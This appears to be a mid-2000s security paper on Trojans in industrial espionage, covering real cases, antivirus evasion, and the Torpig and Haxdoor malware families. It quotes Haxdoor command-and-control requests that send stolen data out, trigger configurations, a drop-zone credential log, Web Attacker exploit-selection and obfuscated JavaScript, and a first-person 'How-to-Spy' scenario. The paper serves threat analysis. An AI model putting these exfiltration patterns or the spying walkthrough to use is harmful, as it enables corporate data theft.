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Talking about Trojan Horses (aka “Trojans”1), most people associate phishing
attacks against financial institutions with this threat. But this is only one facet of
this multi-purpose weapon. It is predestined for gathering information in every
kind of environment. This paper will discuss the use of Trojans in the field of
industrial espionage.

1. Introduction

Industrial Espionage is a growing Business: the theft of sensitive information from
corporations is the goal for many foreign nations and companies. “This helps to save
money for development…” No matter what kind of information we talk about, it is
irrelevant, whether it is in electronic format or is paper thrown away in the litter, as long
as the information is useful for the attacker or the person paying for it. Information
comes in many forms, and hence must be protected appropriately.

Industrial Espionage is a hidden business: only a small fraction of the cases have been
detected.

And it is an insider business: around 70% involved the use of insiders to steal
information.

The cooperation of insiders can occur in many ways, depending on the circumstances.
Most insiders are motivated by financial gain, rather than a desire to harm the company
or the information system. Other motives include revenge, dissatisfaction with company
management, culture or polices, and a desire for respect.2

1Although it was the Trojans who, in the Trojan War, were tricked by the Greeks with the Trojan Horse to get
access to their fortress, the abbreviation Trojan established in the IT-world to describe a piece of malware that
infiltrates a system disguised as harmless software.
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2. Evolution – Part 0: Traditional Espionage

In traditional espionage, the recruitment of moles is very common. Moles are employees
of the targeted company with access to valuable data and are working together with the
attacker - with or without their knowledge. From the view of this paper, they are the
ancestor of the modern electronic Trojan Horses.

The recruitment of a mole is a big risk for the attacker. The mole can either report the
initial approach to security or, if it is caught red-handed, can bring the attacker to the
focus of investigation.

Break-ins and extortions are also common and can be very effective too. But all these
techniques are quite risky for the attacker as they require a lot of preparation and control.

2.1. Electronic devices

Besides all of these “traditional” Methods, electronic attacks, like wiretapping or
manipulation of the PBX System, (ISDN D-Channel Attacks) are becoming more and
more typical. They are very effective and the risk is quite low, but the result is only the
delivery of the spoken word. Even if this information can be very useful, most of these
attacks are used for reconnaissance reasons only, followed up by a more traditional way
of spying, like a break-in or extortion.

But the concept behind the electronic attacks is trend-setting. Placing a device like a bug
at a point, where sensitive information can be collected, minimises the risk of the
attacker and automates the process of information gathering. All the data is delivered to a
central device (like a tape recorder) which is positioned in a safe area and can work
without any operator. (Today’s high end wiretapping devices operate on microwaves, use
burst-mode operation and consume only little power. Therefore they can operate
independently for a very long time

Next in development are key logger devices, placed between the computer and the
keyboard. The simple devices use static RAM and have to be exchanged on a regular
basis, while the more complex ones are using wireless technologies to transport their
data to a collector system.

2 Insider Threat Study : Illicit Cyber Activity in the Banking and Finance Sector 2004, by US Secret Service
and CERT Coordination Centre
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3. Evolution – Part 1: Worms and Viruses

Today most of the interesting data is stored on computer systems. So it is a natural
development to primarily target exactly these systems. And it is also natural to use
methods which are easy to deploy, hard to detect and highly efficient. One of the most
successful technologies in unauthorised deploying and installing software on systems are
worms and viruses. Hence, this technology is predestined to be adopted by the espionage
industry.

If programmed well, a worm is a very powerful tool to manipulate computer systems
without consent of the operator and do various things like collecting interesting data,
looking for other interesting systems to be infected in order to also plunder their
memories. On top of that the classic payload functions that destroy data of course
represent an effective weapon if used cleverly.

One of the first incidents (which became public) regarding the use of Trojans to steal and
transfer data to a third party system, happened in Japan in 2005. This case is an example
for a scatter attack. The attacker is not aiming for special information or a single user, but
tries to collect everything which seems to be valuable, to sort it out later.

A REUTERS NEWSWIRE REPORT ON YAHOO! NEWS –
THURSDAY, JUNE 23, 2005

Japanese officials scrambled on Thursday to contain the public relations fallout from
reports that confidential information about Japan's nuclear plants had leaked onto the
Internet through a virus on a personal computer.

Japan's top government spokesman pledged to take steps to protect information after
data on several nuclear plants appeared online, including photographs of their interiors,
details of regular inspections and repair work and names of workers.

Mitsubishi Electric Corp. said the information was leaked through a personal computer
used by an employee of a Mitsubishi subsidiary that was in charge of inspecting the
plants. Mitsubishi Electric said the leak occurred at one of its subsidiaries and included
information from seven Japanese electric power companies and five independent firms.
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3.1. What happened?

The private computer of an employee who was in charge of nuclear inspections was
infected by a virus (or Trojan – in this particular case it is a question of the point of view
on the malware) that revealed data through the Winny file-sharing software (a very
popular system primarily used in Japan). According to a report in the Yomiuri Shimbun3,
“maintenance data equivalent to 31 floppy disks was leaked”.

Investigations on this case found, that it was not the first time that information had
leaked in this manner. Data on a police investigation in Hokkaido had been transmitted
from an officer's PC while in 2005, private data of about 50 patients who had undergone
checks at Tokyo Medical and Dental University Hospital in Bunkyo Ward, Tokyo, were
also discovered to have been leaked.

The software (Winny) is responsible for other information leakages on government
systems and it was earlier recommended by official sources, to uninstall this product.
This fact raises suspicion, that users of governmental systems had installed private
software (Winny) on their computers with the intension to use the functionality of a
private file sharing system.

In this case a lot of mistakes showed up. Starting with the employee using a private PC in
a critical environment like a nuclear power plant and ending with the failure of the
official security. But it is also a good example, how to use worm-like Software for
stealing data – with or without bad intent.

So lessons learned? Not really. The last report of a data leakage is from March 2006:
“Ehime prefectural police have announced that confidential personal information on
4,400 people was included in files accidentally uploaded to the Internet via Winny file-
sharing software.“ 4

4. Evolution – Part 2: Customised Trojan Horses

At the same time, another incident happened in Israel. But here we have an example for a
well targeted attack, with the criminal intension to collect data from local industries to
sell it later to competitors or foreign companies. It is also a confirmed example for the
use of customised Trojans as a tool for industrial espionage.

3 Yomiuri Shimbun, Japanes Newspaer
4 http://www.mail-archive.com/isn@attrition.org/msg05458.html or
http://www.yomiuri.co.jp/dy/national/20060321TDY02008.htm (Japanese version only)
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POLICE HOLD ISRAELI INDUSTRIAL ESPIONAGE TROJAN SUSPECTS

Reuters, 20 Jun 05
According to a Reuters media report, a married couple accused of developing a Trojan
horse to spy on top Israeli companies have been placed in custody by the Israeli police.

Michael Haephrati, and his wife Ruth Brier-Haephrati, were arrested in May 2005 in
London, accused of writing malicious spy software which was bought by private
investigators to help top Israeli businesses spy on their competitors.

Companies probed by the Israeli authorities in connection with the case include mobile
phone operators, Cellcom and Pelephone, and satellite television provider YES. All firms
have denied any wrong doing.

The Trojan horse is said to have spied upon the Rani Rahav PR agency (whose clients
include Israel's second biggest mobile phone operator, Partner Communications), and
the HOT cable television group. Mayer, a company which imports Volvo and Honda cars
to Israel is suspected of having spied on rival Champion Motors, who import vehicles
made by Audi and Volkswagen.

Last week, according to the media report, a program on Israel's Channel Two television
channel conducted a telephone interview with the Haephratis from the British prison
where they were being held. The programme claimed that Michael Haephrati originally
developed the Trojan horse as a joke, and then attempted to market it to Israel's defense
agencies. Ruth Brier-Haephrati is said to have then decided alone to sell it to private
investigators working for corporations.

"Some people will raise an eyebrow in surprise that industrial espionage like that
apparently revealed by this investigation is occurring, but this is just the tip of the
iceberg," said Graham Cluley, senior technology consultant for Sophos. "Every business
needs to ensure its defenses are in place to protect against spyware and other malicious
attacks. The threat of written-to-order Trojan horses and hackers-for-hire is very real."

4.1. Getting better and better

In the example above, the intention was straightforward: use a custom build Trojan Horse
to steal data. The malware was brought to the customer on demo disks. They installed the
application together with the Trojan. It then monitored keystrokes and collected different
types of documents. All this data were send to several “Collector-Systems” – so called
drop zones5 – where the data was analysed, categorised and sold. Because the malware
was custom-made (and not widely spread over the internet), the pattern based antivirus
tools on the affected computers were not able to recognise the thread.

5 Drop zones are systems, whereto the Trojan delivers the collected data. Most of this systems are compromised
in one or the other way – the owner has no idea, what his computer is used for.
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Here we have a nice concept for automating the collection of sensitive data for industrial
espionage. Only the infection mechanism has to be improved, because the delivery of
disks is a manual process with the risk of identifying the sender. (Just one remark: Even
if this is the first case of using customised Trojans for Espionage to become documented,
this does not mean that it is really the first case. Espionage only becomes public, if it
fails, not if it is successful!!!).

The very frightening part of this attack is the fact, that antivirus software was not able to
detect the malware due to its nature, to search for exact patterns. This makes the
software performant and also suits the business models of the vendors but it also
presages the way, how “well-protected” systems can be attacked successfully.

4.2. Email Attacks

Also in 2005, NISCC (The UK National Infrastructure Security Co-Ordination Centre)
reported in their publication “NISCC Briefing 08/2005 Issued 16 June 2005” targeted
Trojan email attacks6. They describe attacks against UK Government and companies
using trojanised emails. “The attackers aim appears to be covert gathering and
transmitting of commercially or economically valuable information.”

The attackers tried to install remote control Trojans (RAT), which allow full control of
the infected system from the miscreant’s computer. But RAT’s are easy to detect, and
also easy to remove. However, the attack was not trivial and well planned.

To understand the strategy behind this attack, let’s have a look on the following – fictive
– scenario :

A member of parliament, who loves playing golf, participated in a little tournament at his
home club. His wife and all the other wives of the golfers were in charge of taking
pictures with the latest digital cameras in town. These pictures were later exchanged
between the players.

Four weeks later our friend went to the ministry, where he connected his Laptop to the
internal network. Of course his Laptop was equipped with the latest development in
Antivirus and AntiSpyware solutions, and special access software secured and limited
his access to only certain areas of the ministry’s resources.

A very short time later, after he connected to the network, internal security identified his
computer as a system, which started to send data to systems in – let’s say – China.
Forensics later discovered a highly customised Trojan, which was dropped by a WMF
exploit into one of his golf pictures. The Trojan had delivered Data from this Laptop for
4 weeks, including all confidential Documents from the encrypted hard disk.

6 http://www.egovmonitor.com/reports/rep11599.pdf
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This example now combines all the latest techniques to one perfect instrument for
Espionage. It automates the process for collecting data, and it infects systems silently
using highly customised phishing attack techniques. (Also referred to as “spear phishing
or Spearing”) So the risk for the attacker is minimal and his identity is safe. And even if
the data are delivered to systems in China, this does not mean, that the attack came from
there. A simple script on the drop zones act as a proxy and forwards the data to a hacked
account in the internet, which can be at any place in the world.

4.3. Spear Phishing

A few words about “personal” phishing: phishing is a form of social engineering, using
trusted names of Banks or other well known companies to deceive people into believing
that the information they received via email (or from a Website) is legitimate.

Spear phishing is a highly targeted form of e-mail attack that a scammer would send only
to people within a small group, such as a company or even to a single individual. In a
simple attack he would use an (faked) inside account, e.g. from the companies mail
admin. In a more sophisticated attack, he would use private information, which he
collected over a long period of time to target a single individual.

Like a normal phishing attack, he would use this information to gain trust. As in the
example with the golf match, the attacker spied on the private behaviour and hobbies of
his target. Once his passion is identified, it is easy for the attacker, to customise an email
that the target will trust, in our example, a picture - with the WMF Exploit Code
included.

The WMF exploit downloads a Trojan, normally Downloader-ASE or Generic
Downloader.q. (Here we come to another problem. Every Antivirus Company has its
own naming conventions for Viruses/Trojans. Worse case is that we have to deal with ten
or more different names for the same thing…)

However, the Source code of the WMF Exploit – and later also a WMF Exploit
Construction Set - is available on the internet, so it is easy, to modify the name and
address of the Trojan to download to a special, customised version. The Trojan is nothing
more than a program that again downloads a bigger piece of malware, the real Trojan,
which than installs the key logger and all the other features.

4.4. Hiding the tracks

But why does the antivirus / antispy software did not react? To understand this, let’s look
a bit closer on the function of anti-virus (AV) scanners. Most anti-virus software detects
malware by looking for simple signatures within the files being scanned. This is
something like a fingerprint of the software. A signature is created by disassembling the
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virus, analyzing it and then identifying those sections of code that seem to be unique to
the malware. The binary bits of those sections become the signature of the virus. 7

And here starts the problem. What does “unique to the malware” mean? This is only a
snapshot from one existing Binary. Each variant may – or may not – have the same
unique pattern. To recognise it, the Anti Virus Software must have the right pattern for
comparing. So, the more a variant is spread in comparison, the greater is the chance, that
AV Software is able to stop it. In our example, the attacker used a customised version
(not known in public), so the chance, that the AV Software will find it, is very low.

Another way to hide Trojans from Anti Virus Software is the use of a runtime packer. A
packer – or EXE-packer- is a tool, to compress and / or encrypt EXE Files – or parts of
them.

Starting the application, the compressed part is first decompressed, (or even decrypted)
and then executed. This does not only change the signature of a Virus or Trojan, but
makes it much harder to disassemble.
An example of a typical packer is UPX 8

A bit different from design, but with similar good results, is a tool like Morphine.
Morphine is a PE File wrapper / Encrypter, based on work from the Hacker Defender
Rootkit. It builds a small PE File which wraps around the packed file, making identifying
the packer very difficult. Also, each file is created with a great degree of randomness, so
encrypting the same file will yield very different files. Morphine includes its own PE
loader which enables it to put the whole source image to the .text section of the new PE
file

In the near future, more sophisticated techniques to obfuscate antivirus tools will be
used. Cryptography instead of scrambling (compression) is one example, a polymorphic
architecture another. A polymorph Trojan is changing his code every time it runs. – and
so is the signature. Still not seen in the wild, but definitely an option for the future!

7 Read also „Efficient Static Analysis of Executables for detecting Malicious Behaviours” , Thesis by
Konstantin Rosinov, June 2005, Polytechnic University Brooklyn, NY

8 http://upx.sourceforge.net/
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4.5. A more technical look on (Spy) Trojans

State of the art Trojans have a long list of various functionalities like

• hiding processes, files, connections, ...

• preventing anti-virus and operating system updates

• kill running anti-virus processes and change personal firewall settings

• anti debugging features (to detect virtual machines like VMware and debuggers
like IDA Pro, OllyDbg, ...)

• auto-start methods to ensure an automated start-up after a system reboot

• Web based command & control (c&c) mechanism to transfer for example
information about the infected system to the attacker (like ip address, backdoor
ports, statistics and configurations) and to transmit commands to compromised
systems (like malware updates, DoS commands, triggers which specify which
data should be captured).

• transfer stolen data

• backdoor for remote access or additional tasks (like a SOCKS proxy to use this
system as SPAM source)

• update functionality

• capturing/harvesting data

• etc…

In the last years IRC based bots have become the major threat. Nowadays a lot of trojan
horses use HTTP instead of IRC, because HTTP can usually bypass firewalls. HTTP
GET requests like the following Haxdoor c&c communication are usually used to
transfer information about the victims systems to the attacker:

--Haxdoor c&c communication excerpt--
GET

http://XXX/bsrv.php?lang=DEU&pal=0&bay=0&gold=0&id=1608&param=16661&socksp
ort=4839&httpport=53730&uptimem=1&uptimeh=0&uid=[26897260468754950]&wm=0&v
er=83E
--end of excerpt--
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These GET request include information about the socks and http proxy installed on the
infected system as well as a unique identifier (uid) and a malware version number.

Captured/harvested data is mostly transferred via HTTP POST requests, e.g.

--Haxdoor communication--
POST /dat7.php?id=0072 HTTP/1.1
User-Agent: MSIE 5.3 (xpsp2-14087)
Host: XXX
Content-Length: 454
Content-Type: multipart/form-data;
-----------------------------41184676334
Content-Disposition: form-data; name="user"
[30001664841769220697]
-----------------------------41184676334
Content-Disposition: form-data; name="info"
203B2050726F7465637465642053746F726167653A0D0A0D0A0D0A203B205468654261742

070617373776F7264730D0A0D0A3D3D3D3D3D3D3D3D3D
-----------------------------41184676334--
--end of Haxdoor communication excerpt--

Apart from HTTP some Trojan horses use mail (SMTP), FTP, SSL (IRC) or even ICMP
to transfer the stolen data.

Various Trojan horses use the same mechanism to grab web form data (e.g. https
authentication forms) and to harvest stored data (e.g. passwords stored in the protected
storage area). The Goldun /Haxdoor family for example uses the “Nuclear grabber” 9

which is sold for ~ 3000 USD. The “Nuclear grabber” is written in assembler and has a
quite an impressive feature list – harvesting data from forms, gathering data from the
protected storage area, redirecting domains, substituting page content... The crew behind
“Nuclear grabber “ and “A311 Death” also offer to customised individual program
according to the needs of the buyer.

4.6. Spy Worms

The first worm, specialised on espionage, was MYFIP 10. Discovered late 2004, MYFIP
never became very public, because it only collected PDF Files. It wasn’t really damaging,
so the antivirus industry rated it not very high.

MYFIP was spreading over SMB (Port 445), but, compared to other worms, silently and
carefully. It used built-in API Calls to enumerate shares and Computers on a Microsoft
Network. Then it copied itself to the shares with the name iloveyou.txt.exe. Running
Windows Explorer in default mode, only the term “iloveyou.txt” was shown.

9 http://corpsespyware.net

10 Comprehensive analysis can be found here : http://www.lurhq.com/myfip.html
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The worm used a password attack to log-in as Administrator on Computers on the
Network, and uploaded itself to the system32 Directory, where it created and started a
remote service.

The original MYFIP only stole PDF Files, later Variants looked for a whole list of
documents. Myfip.B and above steals any file with the following extensions:

.pdf - Adobe Portable Document Format

.doc - Microsoft Word Document

.dwg - AutoCAD drawing

.sch - CirCAD schematic

.pcb - CirCAD circuit board layout

.dwt - AutoCAD template

.dwf - AutoCAD drawing

.max - ORCAD layout

.mdb - Microsoft Database

The Drop Zones (or Collector Systems) of MYFIB were located in China. LURQH
found out, that a Chinese “Mr. Zhang” advertised postgraduate school exams for sale on
his website net918.com, where he pointed to his FTP Server, which is the one, MYFIB.A
was using.

Why is this example so interesting? First, this worm was not build to do any damage to
the infected systems, no data collection for online theft or something else. Second, the
distribution took place silently, carefully, and inconspicuously. The primary goal of the
worm was the collection of data and the delivery of this data to a target system. This
worm was build as a tool for collecting valuable data from the infected system, build for
spy work.

5. Evolution – Part 3: TORPIG

The next step in worm technology evolution was TorPig., first seen in early 2006. The
TorPig family (also known as Hupigon, Anserin, Sinowal, …) uses a different but very
interesting method.
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Instead of using a large data segment with static information, like html code for faked
websites or instructions on how to react on user input, the Trojan horse binary itself does
not contain any trigger strings to specify which data should be captured. But when the
infected systems connect to the command & control servers, a first set of crude triggers
is transferred (encrypted) to the system:

--decoded trigger excerpt--
[…]
ibs.luba.sk ibssl.istrobanka.sk imprendo-a.unicreditbanca.it
intbank.finansbank.com.tr internet-banking.adc.com.sg
internet724.vakifbank.com.tr internetbanking.aib.ie
internetbanking.gad.de internetbanking.suncorpmetway.com.au
investing.schwab.com
[…]
--end of excerpt--

When the user is visiting a web site which triggers on this first set of strings, the trojan
horse transfers the current URI to a system of the attacker. For example when a user visit
internet-banking.adc.com.sg, the Trojan horse makes the following lookup:

GET /config/check_domain.php?p1=2&p2=internet-banking.adc.com.sg

As a response, more detailed triggers are transmitted:

--decoded response excerpt--
internet-banking.adc.com.sg /IB/Welcome /usa/adc.com_pers.php 2 1 4
--end of excerpt--

In this case additional URI criteria are specified. When the user visit a URI with:
internet-banking.adc.com.sg and /IB/Welcome
a SSL redirect to the attackers system (and path /usa/adc.com_pers.php) is done. This
method of dynamic triggers and dynamic redirect URLs and content allows the attacker a
realtime change and makes it nearly impossible for anti virus/phishing companies to
determine the targets. The Torpig family does currently include more than 300 different
banks.

But besides being used for phishing attacks, this Trojan is a perfect Tool for Espionage.
Lets have a look on the following trigger strings:

1. COM|abc.com secret|confidentialinternal*.abc.com*

2. DE|pharma*.de .mdb *target-*internal.de*

3. COM|intranettype Document target.company*.com

In (1) the Trojan collects classified data, triggered by the keyword Secret or Confidential
from the internal server, in (2) a MS Access Database from the intranet of target.com is
transferred to a collector system.
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The advantage for the attacker is in the flexibility of this Trojan. After installation it will
request the initial configuration from the command & control system. Then it can be put
into a passive state, becomes a sleeper – and only to wake up, if a certain condition is
true. The attacker now has the flexibility, to activate the Trojan on demand and tell it
exactly, what to deliver. If the target company starts a new project, e.g. with the name
“BigBrother”, all relevant transfer of Documents in the target network which belong to
this project, can be collected by one simple command.

The attacker can also manipulate the intranet web server. Imagine, the target company is
using a web based application for collaboration. Here it is easy, not only to collect data,
but also to manipulate input data – using the same technology as it is used for phishing
attacks. And even if the company is using state of the art encryption: Between keyboard
and application is NO encryption.

Figure 1: Metafisher Trigger Config
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5.1. Garbage Collection

Another important issue to mention is the excessive collection of every kind of user
related information. All the Trojans around not only manipulate systems, they also
collect randomly data from infected systems which has to do with credit cards, accounts,
personal information, passwords, University Accounts etc. The list is endless. All these
Information are sent to drop zones, where they are more or less treated as garbage,
background noise. Some of this information is published on private forums or chat
rooms, but most are sold. There are enough interests around - from organised crime
groups to terrorists.

So what can a terrorist do with this “background noise“? It will help him to set up a new
identity. He can find enough data, to build his own social background, like University
accounts, clubs, credit cards details, names, passport numbers etc.

In the past, the collection of this information was not trivial. Break-ins, extortions etc.
were necessary. And today? Go to a drop zone of a Trojan and you find all the data you
need…

Example:

00003: [IP:300.7.30.200 18.04.2006 01:19:50 nt]
00005:
destination=https%3A%2F%2Fwebmail.abc.edu%2Fexchange%2F&fla
gs=2&username=STAFF%5Miller&password=pattyxxxxx&domain=STAF
F&forcedownlevel=0&trusted=0
00006: ABC Webmail - http://www.abc.com
https://webmail.abc.edu/exchweb/bin/auth/owalogon.asp?url=h
ttps://webmail.abc.edu/exchange/&reason=0
00008: [-webmail.abc.edu.sg/exchweb/bin/auth/owaauth.dll -]

6. Evolution – Part 4: Distribution

Besides the typical malware distribution paths like mail attachments and self propagation
worms which use vulnerabilities in the operating system or applications, there are also
some commercial products like the following drive-by installer called “Web Attacker”11.
The Web Attacker toolkit uses various well known Internet Explorer, JVM and Mozilla
Firefox vulnerabilities to install any executable specified on vulnerable systems visiting a
prepared web site.

11 http://www.inet-lux.com/index.php?go=Page&id=3
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The kit has the ability to detect the visiting user's operating system, the JVM version,
installed antivirus software and the browser and browser version.

--begin of excerpt--

switch (WinOS)
{
case "2K":
if ((JVM_vers[0]!=0)&&(JVM_vers[2]<3810))
{ExploitNumber=1;}
else // if JVM = 5.0.3810.0 or higher
{
if (IE_vers[0]==6)
{ExploitNumber=3; }
else
{ExploitNumber=2; }
}
break;
case "2K3":
ExploitNumber=3;
break;
case "XP":

if ((JVM_vers[0]!=0)&&(JVM_vers[2]<3810))
{ExploitNumber=1;}
else // if JVM = 5.0.3810.0 or higher
{
for (var i=0; i < PatchList.length; i++)
{

if (PatchList[i]=="SP2")
{XP_SP2_patched=1; }

--end of excerpt—

Based on this detection (see Web Attacker JavaScript excerpt) it will serve the most
promising exploit. The available exploit codes depend on the Web Attacker version.
Currently the kit uses, for example, the Microsoft vulnerabilities MS03-011, MS06-013,
MS06-014, and the Mozilla Firefox vulnerability Mfsa2005-50.

The Kit also uses Java Script Obfuscation to stay invisible (using Antssofts
HTMLProtector), like:

--begin of excerpt—

<HEAD><SCRIPT LANGUAGE="JavaScript"><!--
document.write(unescape("%3C%53%43%52%49%50%54%20%4C%41%4E%47%55%41%47%45%
3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%3C%21%2D%2D%0D%0A%68%70%5F%6F%6B
%3D%74%72%75%65%3B%66%75%6E%63%74%69%6F%6E%20%68%70%5F%64%30%30%28%73%29%7
B%69%66%28%21%68%70%5F%6F%6B%29%72%65%74%75%72%6E%3B%64%6F%63%75%6D%65%6E%
74%2E%77%72%69%74%65%28%73%29%7D%2F%2F%2D%2D%3E%3C%2F%53%43%52%49%50%54%3E
"));//--></SCRIPT>

// which translates to :
<SCRIPT LANGUAGE="JavaScript"><!-- hp_ok=true;function
//hp_d00(s){if(!hp_ok)return;document.write(s)}//--></SCRIPT>

--end of excerpt--
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The attack sites generated with the “Web attacker config editor”, which is sold for ~25
US$ [1], are often placed on compromised web sites or bulletin boards. Several hundred
thousand hits and an exploit efficiency of 10% are common. A typical Web Attacker
statistic (which is generated by itself) is shown in figure 1.In the appendix, you can find a
few interesting parts of the web attacker Java script source.

Figure 2: Typical Webattacker Statistic display

Figure 3: An other, very flexible Tool is A-311 Death from Prodex, which has an easy to
use GUI. Development is ongoing, actual Release is 1.29.
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7. Evolution – Part 5: Scenario, or a little How-to-Spy

Let’s assume, we are employees who need some extra money and decided to go for
Industrial Espionage. So, what do we need for a successful spy attack?

Well, it’s easy, and all are available on the internet. First of all, we need a good Trojan,
which fits our needs. Something like TORPIG would be fine, because the trigger based
architecture makes it easy to configure on demand. It’s flexible and gives an excellent
return on malware investment (ROMI). We only want to spy, not to manipulate. So we
don’t need any sophisticated tool to capture sessions or extract forms. But some web
based Command Centre would be fine, it’s so common…

To be on the safe side, we order all of this from our Russian Solutions Provider.
Investment is between 200US$ and 3000 US$. Delivery is fast and secure, and we will
also receive a bill.

As a Drop zone (Collector System) we can use a few systems in the victims IT Centre,
which was prepared earlier. We only want the Trojan to collect Documents and PDF’s
from the Project “Armageddon”, so we configure the Trigger Strings in our Command &
Control System to fit our needs.

The next step is to infect the targets. That’s easy, too. We setup a website for a project, or
an info page, or maybe a server with the latest digital-pictures from the big party last
weekend. We can use WMF exploits directly, but there is some risk, because the
Company is updating their AV Pattern quite fast. So we use a modified Web attacker,
because JavaScript is allowed in our target environment. To be on the safe side, we
encrypt the source with tools like HTML Protector. And for those, who will not visit our
website, we prepare some fancy USB Sticks with some presentations and the Trojan…
That’s it. Now we have to wait.

At the end of the Week, we use our IPod to copy the Payload from the Drop Zones.
Nobody has a problem with a guy and his stylish MP3 Gadget, and the Security Check at
the gate only look for Laptops. So there is only one thing to do: We have to review the
data and sort it for our “Customers”
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7.1. Future Developments

Malware will go for the money and becomes more and more sophisticated. The
development circle of the malware will become shorter, time to react on exploits and
patches (sometimes the same…) even much shorter. The Software will be smarter,
modular and easy to port. Yes, and Linux will become a target, too.

Mobile Attacks are an upcoming threat. Even today, we talk about more than hundred
pieces of malware, attacking mobile Phones and PDA’s. For the future, with Windows
Mobile 5 and Banking Applications on the Smart phone, there will be a real run on these
devices. Wireless Hacking of mobile devices (both WiFi and Bluetooth) will stay on the
list of all-time favourites, and not only for copying Brittney Spears Phonebook.

Root kits are an important part of a Malware Suite; they are responsible for hiding the
Trojan from the Antivirus Tools. And the longer the Trojan is active, the more money the
attacker can make. Root kits are hard to detect, and even if detected, not easy to remove.
In most cases, a new installation from scratch is the best solution.

Some interesting development comes from Microsoft, in Cooperation with the University
of Michigan. They teamed up to create prototypes for Virtual Machine-based root kits,
which makes the malware really hard to detect. The proof-of-concept, called SubVirt12,
exploits known security flaws and drops a virtual machine monitor (VMM) underneath a
windows system. Once the VMM is active, it is nearly impossible to detect. So
Microsoft, quo vadis ???

Another trend is the use of localization Attacks, here especially for Phishing. That
means, abusing the momentum and localizing the attack to target specific user only. E.g.
for a phishing attack in a certain part of town after a sales show. How does this work?
Malware is using the IP Location Service, which is available on the internet. Or C&C
systems use stolen Databases with IP Location Information. Simple and effective.

Cryptoviral Extortion is also in discussion to be used as an attack tool. Imagine a Trojan,
which encrypts all your Documents. Next day you receive an email with some hints, how
you can decrypt all your files. AFTER you have sent some money to an account on
Cayman Islands…. It’s not new, the AIDS Trojan (1989) was the first using this
methodology.

Intellectual property worms, stealthy and sophisticated, will be developed. Because this
is the most money making part of the malware scene. Also new technical trends are seen:
Payload encryption on the drop zones and ICMP Based data transfer, just to mention two
of them. Or P2P based Command and Control Structures, using open source encryption
between the links. The last is still a proof of concept, but once this type is in production,
it will give security specialists a hard time.

12 www.eecs.umich.edu/virtual/papers/king06.pdf
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8. Evolution – Part 6: The Presence

MessageLabs and Counterpane reported in April this year, that 61% of computers have
“some type” of spy ware or ad ware installed, and that the use of Trojans for spying on
competitors is quite common.

Furthermore: “Spy ware will become the new threat vector for hacking into the corporate
enterprise, and the Healthcare, Pharmaceuticals, Utilities, and Power & Energy verticals
are the most vulnerable.” 13

IT Security is changing – new threats are coming up, and they are for real. Using Trojans
for industrial espionage is just one example of the new trends – trends, where the IT
Security specialist of today is not prepared for.

But even the prepared expert has to be careful…

INDIA ACCUSES US OF SPYING

By Konstantin Kornakov Jul 31 2006 14

After several high profile arrests within the Indian security forces, the country’s
government has decided to lodge an official protest with the US embassy in New Delhi.
Indian authorities accuse the US of using a joint Indian-US cyber security forum as
cover for spying activities in which several senior national security officials were
involved.

9. Conclusion

Today the worldwide economy is targeted by phishing attacks. In the beginning it was a
minor threat, but now it is a major business for the organised crime. Only in Germany
the financial damage for 2006 is estimated at about 4.5 Million €15, which is a very
conservative estimation. And Germany has been using two factor authentications since
years. Countries using just simple password authentication can suffer from a much
higher financial loss. Identity theft costs the U.S. economy $56.6 billion in 2005,
according to a study by Javelin Strategy & Research using methodology developed by the
Federal Trade Commission. Also modern Trojans like Torpig or Haxdoor are very hard
to detect. Using advanced HTML Injection or IFrames, the normal User is not able to
recognise the trap, which the miscreants have prepared for him.

13 http://www.counterpane.com/pr-20060313.html
14 http://www.viruslist.com/en/news?id=193290356
15 http://www.it-news-world.de/?show=746
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But Phishing is just the beginning. Online Theft is an easy and safe way for making
money without a big risk. So it is natural, that the Groups behind these attacks will look
for new markets. And the number one growth market in the world is selling information.
Every kind of information, from passwords to bank accounts, from budget plans to high
secure research data.

Figure 4: Screenshot from a forum that offers information

Modern Trojans are easy to configure, easy to deploy and hard to detect. And even if it is
detected, the real attacker will be safe. This makes Trojans a perfect choice as a tool for
every kind of electronic data collection. Industrial Espionage is a growing business – that
was the first sentence of this paper. And with the help of modern Trojans, it can become
a Multi Billion Dollar business, which outclasses Phishing with ease.
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